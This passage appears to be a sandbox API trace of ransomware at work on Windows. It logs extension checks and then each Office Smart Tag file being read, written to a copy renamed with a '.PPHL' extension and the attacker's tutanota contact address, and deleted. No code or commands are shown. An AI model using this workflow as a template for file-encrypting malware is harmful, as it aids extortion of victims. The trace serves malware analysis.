(lpString1=".doc", lpString2=".XML") returned -1 [0073.727] lstrlenW (lpString=".docx") returned 5 [0073.727] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0073.727] lstrlenW (lpString=".pdf") returned 4 [0073.727] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0073.727] lstrlenW (lpString=".xls") returned 4 [0073.727] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0073.727] lstrlenW (lpString=".xlsx") returned 5 [0073.727] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0073.727] lstrlenW (lpString=".ppt") returned 4 [0073.727] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0073.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0073.727] lstrlenW (lpString=".zip") returned 4 [0073.727] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0073.727] lstrlenW (lpString=".rar") returned 4 [0073.727] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0073.727] lstrlenW (lpString=".bz2") returned 4 [0073.727] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.727] lstrlenW (lpString=".7z") returned 3 [0073.727] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0073.727] lstrlenW (lpString=".dbf") returned 4 [0073.728] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0073.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0073.728] lstrlenW (lpString=".1cd") returned 4 [0073.728] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0073.728] lstrlenW (lpString=".jpg") returned 4 [0073.728] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0073.728] lstrcmpiW (lpString1=".HTM", lpString2=".PPHL") returned -1 [0073.728] lstrlenW (lpString="MCABOUT.HTM") returned 11 [0073.728] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0073.729] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=11463) returned 1 [0073.729] CloseHandle (hObject=0x1fc) returned 1 [0073.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 0x20 [0073.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0073.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0073.729] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0073.729] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0073.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0074.068] GetLastError () returned 0x0 [0074.068] ReadFile (in: hFile=0x1fc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x2cc7, lpOverlapped=0x0) returned 1 [0074.070] WriteFile (in: hFile=0x1ec, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x2cd0, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0x2cd0, lpOverlapped=0x0) returned 1 [0074.071] ReadFile (in: hFile=0x1fc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x0, lpOverlapped=0x0) returned 1 [0074.071] WriteFile (in: hFile=0x1ec, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xea, lpOverlapped=0x0) returned 1 [0074.071] SetEndOfFile (hFile=0x1ec) returned 1 [0074.071] CloseHandle (hObject=0x1ec) returned 1 [0074.071] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0074.071] SetEndOfFile (hFile=0x1fc) returned 1 [0074.072] CloseHandle (hObject=0x1fc) returned 1 [0074.072] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0074.072] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 1 [0074.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0074.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0074.073] lstrlenW (lpString=".doc") returned 4 [0074.073] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0074.073] lstrlenW (lpString=".docx") returned 5 [0074.073] lstrcmpiW (lpString1=".docx", lpString2="T.HTM") returned -1 [0074.073] lstrlenW (lpString=".pdf") returned 4 [0074.073] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0074.073] lstrlenW (lpString=".xls") returned 4 [0074.073] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0074.073] lstrlenW (lpString=".xlsx") returned 5 [0074.073] lstrcmpiW (lpString1=".xlsx", lpString2="T.HTM") returned -1 [0074.073] lstrlenW (lpString=".ppt") returned 4 [0074.073] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0074.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0074.073] lstrlenW (lpString=".zip") returned 4 [0074.073] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0074.073] lstrlenW (lpString=".rar") returned 4 [0074.073] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0074.073] lstrlenW (lpString=".bz2") returned 4 [0074.073] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0074.073] lstrlenW (lpString=".7z") returned 3 [0074.073] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0074.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0074.073] lstrlenW (lpString=".dbf") returned 4 [0074.073] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0074.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0074.073] lstrlenW (lpString=".1cd") returned 4 [0074.073] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0074.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0074.073] lstrlenW (lpString=".jpg") returned 4 [0074.073] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0074.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0074.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0074.073] lstrlenW (lpString=".doc") returned 4 [0074.073] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0074.073] lstrlenW (lpString=".docx") returned 5 [0074.074] lstrcmpiW (lpString1=".docx", lpString2="T.HTM") returned -1 [0074.074] lstrlenW (lpString=".pdf") returned 4 [0074.074] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0074.074] lstrlenW (lpString=".xls") returned 4 [0074.074] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0074.074] lstrlenW (lpString=".xlsx") returned 5 [0074.074] lstrcmpiW (lpString1=".xlsx", lpString2="T.HTM") returned -1 [0074.074] lstrlenW (lpString=".ppt") returned 4 [0074.074] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0074.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0074.074] lstrlenW (lpString=".zip") returned 4 [0074.074] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0074.074] lstrlenW (lpString=".rar") returned 4 [0074.074] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0074.074] lstrlenW (lpString=".bz2") returned 4 [0074.074] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0074.074] lstrlenW (lpString=".7z") returned 3 [0074.074] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0074.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0074.074] lstrlenW (lpString=".dbf") returned 4 [0074.074] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0074.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0074.074] lstrlenW (lpString=".1cd") returned 4 [0074.074] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0074.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0074.074] lstrlenW (lpString=".jpg") returned 4 [0074.074] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0074.153] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0074.153] lstrlenW (lpString="TIME.XML") returned 8 [0074.153] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0074.153] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=8564) returned 1 [0074.153] CloseHandle (hObject=0x1f0) returned 1 [0074.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 0x20 [0074.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0074.154] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0074.154] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0074.154] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0074.154] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0074.154] GetLastError () returned 0x0 [0074.154] ReadFile (in: hFile=0x1f0, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x2174, lpOverlapped=0x0) returned 1 [0074.162] WriteFile (in: hFile=0x1ec, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0x2180, lpOverlapped=0x0) returned 1 [0074.163] ReadFile (in: hFile=0x1f0, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x0, lpOverlapped=0x0) returned 1 [0074.163] WriteFile (in: hFile=0x1ec, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xe4, lpOverlapped=0x0) returned 1 [0074.163] SetEndOfFile (hFile=0x1ec) returned 1 [0074.164] CloseHandle (hObject=0x1ec) returned 1 [0074.164] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0074.164] SetEndOfFile (hFile=0x1f0) returned 1 [0074.165] CloseHandle (hObject=0x1f0) returned 1 [0074.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0074.165] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 1 [0074.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0074.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0074.165] lstrlenW (lpString=".doc") returned 4 [0074.165] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0074.165] lstrlenW (lpString=".docx") returned 5 [0074.165] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0074.165] lstrlenW (lpString=".pdf") returned 4 [0074.165] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0074.165] lstrlenW (lpString=".xls") returned 4 [0074.165] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0074.165] lstrlenW (lpString=".xlsx") returned 5 [0074.165] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0074.165] lstrlenW (lpString=".ppt") returned 4 [0074.165] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0074.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0074.165] lstrlenW (lpString=".zip") returned 4 [0074.165] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0074.165] lstrlenW (lpString=".rar") returned 4 [0074.166] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0074.166] lstrlenW (lpString=".bz2") returned 4 [0074.166] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0074.166] lstrlenW (lpString=".7z") returned 3 [0074.166] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0074.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0074.166] lstrlenW (lpString=".dbf") returned 4 [0074.166] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0074.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0074.166] lstrlenW (lpString=".1cd") returned 4 [0074.166] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0074.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0074.166] lstrlenW (lpString=".jpg") returned 4 [0074.166] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0074.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0074.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0074.166] lstrlenW (lpString=".doc") returned 4 [0074.166] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0074.166] lstrlenW (lpString=".docx") returned 5 [0074.166] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0074.166] lstrlenW (lpString=".pdf") returned 4 [0074.166] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0074.166] lstrlenW (lpString=".xls") returned 4 [0074.166] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0074.166] lstrlenW (lpString=".xlsx") returned 5 [0074.166] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0074.166] lstrlenW (lpString=".ppt") returned 4 [0074.166] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0074.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0074.166] lstrlenW (lpString=".zip") returned 4 [0074.166] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0074.167] lstrlenW (lpString=".rar") returned 4 [0074.167] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0074.167] lstrlenW (lpString=".bz2") returned 4 [0074.167] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0074.167] lstrlenW (lpString=".7z") returned 3 [0074.167] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0074.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0074.167] lstrlenW (lpString=".dbf") returned 4 [0074.167] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0074.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0074.167] lstrlenW (lpString=".1cd") returned 4 [0074.167] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0074.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0074.167] lstrlenW (lpString=".jpg") returned 4 [0074.167] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0074.167] lstrcmpiW (lpString1=".TXT", lpString2=".PPHL") returned 1 [0074.167] lstrlenW (lpString="METCONV.TXT") returned 11 [0074.167] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0074.185] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=1183416) returned 1 [0074.185] CloseHandle (hObject=0x18c) returned 1 [0074.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 0x20 [0074.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0074.186] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0074.186] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0074.186] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0074.186] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0074.186] GetLastError () returned 0x0 [0074.186] ReadFile (in: hFile=0x18c, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0xffff0, lpOverlapped=0x0) returned 1 [0074.217] WriteFile (in: hFile=0x208, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0074.631] ReadFile (in: hFile=0x18c, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x20ec8, lpOverlapped=0x0) returned 1 [0074.642] WriteFile (in: hFile=0x208, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x20ed0, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0x20ed0, lpOverlapped=0x0) returned 1 [0074.648] ReadFile (in: hFile=0x18c, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x0, lpOverlapped=0x0) returned 1 [0074.648] WriteFile (in: hFile=0x208, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xea, lpOverlapped=0x0) returned 1 [0074.649] SetEndOfFile (hFile=0x208) returned 1 [0074.649] CloseHandle (hObject=0x208) returned 1 [0074.649] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0074.649] SetEndOfFile (hFile=0x18c) returned 1 [0074.651] CloseHandle (hObject=0x18c) returned 1 [0074.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0074.651] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 1 [0074.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0074.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0074.651] lstrlenW (lpString=".doc") returned 4 [0074.651] lstrcmpiW (lpString1=".doc", lpString2=".TXT") returned -1 [0074.651] lstrlenW (lpString=".docx") returned 5 [0074.651] lstrcmpiW (lpString1=".docx", lpString2="V.TXT") returned -1 [0074.651] lstrlenW (lpString=".pdf") returned 4 [0074.651] lstrcmpiW (lpString1=".pdf", lpString2=".TXT") returned -1 [0074.652] lstrlenW (lpString=".xls") returned 4 [0074.652] lstrcmpiW (lpString1=".xls", lpString2=".TXT") returned 1 [0074.652] lstrlenW (lpString=".xlsx") returned 5 [0074.652] lstrcmpiW (lpString1=".xlsx", lpString2="V.TXT") returned -1 [0074.652] lstrlenW (lpString=".ppt") returned 4 [0074.652] lstrcmpiW (lpString1=".ppt", lpString2=".TXT") returned -1 [0074.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0074.652] lstrlenW (lpString=".zip") returned 4 [0074.652] lstrcmpiW (lpString1=".zip", lpString2=".TXT") returned 1 [0074.652] lstrlenW (lpString=".rar") returned 4 [0074.652] lstrcmpiW (lpString1=".rar", lpString2=".TXT") returned -1 [0074.652] lstrlenW (lpString=".bz2") returned 4 [0074.652] lstrcmpiW (lpString1=".bz2", lpString2=".TXT") returned -1 [0074.652] lstrlenW (lpString=".7z") returned 3 [0074.652] lstrcmpiW (lpString1=".7z", lpString2="TXT") returned -1 [0074.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0074.652] lstrlenW (lpString=".dbf") returned 4 [0074.652] lstrcmpiW (lpString1=".dbf", lpString2=".TXT") returned -1 [0074.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0074.652] lstrlenW (lpString=".1cd") returned 4 [0074.652] lstrcmpiW (lpString1=".1cd", lpString2=".TXT") returned -1 [0074.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0074.652] lstrlenW (lpString=".jpg") returned 4 [0074.652] lstrcmpiW (lpString1=".jpg", lpString2=".TXT") returned 